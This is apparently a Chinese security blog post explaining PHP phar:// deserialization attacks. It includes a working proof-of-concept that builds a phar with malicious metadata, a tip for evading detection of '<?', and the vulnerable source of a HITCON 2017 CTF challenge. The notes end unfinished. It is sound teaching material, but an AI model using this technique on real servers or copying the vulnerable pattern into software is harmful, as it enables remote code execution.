在 PHP 下利用反序列化漏洞的时候,通常走这样的一条路线:
反序列化点 => 可利用函数 => 构造反序列化 POP 链
但在 2018 年的 Black Hat 上,安全研究员 Sam Thomas 指出了一条新思路:
在文件系统函数 ( file_get_contents 、 unlink 等)参数可控的情况下,配合 phar:// 伪协议 ,可以不依赖反序列化函数 unserialize()
直接进行反序列化的操作。
官方文档 给出了详细的解释。概括来说,有如下特点:
最后一点尤其重要,有序列化就有反序列。
This meta-data is unserialized when a Phar archive is first accessed by any(!) file operation. This opens the door to unserialization attacks whenever a file operation occurs on a path whose beginning is controlled by an attacker.
再看一下 phar 的文件结构。
The phar file format is literally laid out as stub / manifest / contents / signature, and stores the crucial information of what is included in the phar archive in its manifest.
也就是说分为四个部分:
stub
<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();
可以当做一个标志来理解,正如上面写的这样,必须以 _HALT_COMPILER();
结尾。所以在设置 stub
时,也要有 __HALT_COMPILER();
,这里的设置就相当灵活了,你可以随便插数据 。比如:
xxx;__HALT_COMPILER();
// 需要提醒的是 <?php ?> 并不是必须的,以 ; 隔开即可,可避开检测 <? 的情况
manifest
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是上述攻击手法最核心的地方。
contents:被压缩文件的内容。
signature:签名,放在文件末尾。
用个小 Demo 来测试一下反序列化(注意要将 php.ini 中的 phar.readonly 选项设置为 0,否则无法生成)
// phar_gen.php
<?php
class Test {
public $pp = 1;
public function __destruct() {
echo "destruct was called!";
}
}
ini_set('phar.readonly',"Off");
@unlink("test.phar");
$p = new Phar("test.phar"); // 后缀名必须为phar,生成后可随意修改
$p->startBuffering();
$p->setStub("2333;__HALT_COMPILER();"); // 设置stub
// $p->compressFiles(Phar::GZ); // 可设置压缩包,使用时照旧
$p->setMetadata(new Test()); // 将自定义的 meta-data 存入 manifest
$p->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$p->stopBuffering();
?>
可以看到 meta-data 在 phar 中的存在形式
// dese_phar.php
<?php
class Test {
public $pp = 1;
public function __destruct() {
echo "destruct was called!";
}
}
$filename = 'phar://test.phar/1'; // 这里访问的文件存在与否都不重要
file_get_contents($filename);
可以看到析构函数被成功调用
seaii 师傅给出了函数列表
这里不得不提 orange 在 hitcon 2017 出的 baby^h-master-php-2017
,本题可以通过 i 春秋平台复现。
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
// 猜测执行 FLAG() 出 flag
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
// 难道要爆破?
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}
if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}
// 反序列化点,但无法更改 session 的值
$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
// vps 准备好 phar 文件
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
// 这两个函数都将造成反序列化
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
highlight_file(__FILE__);
}
另外还有:
TODO
php://filter/resource=phar://phar.phar
来看一下源码 php-src/ext/phar/phar.c:618,调用了 php_var_unserialize
。
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
太忙了,有时间深入分析一下。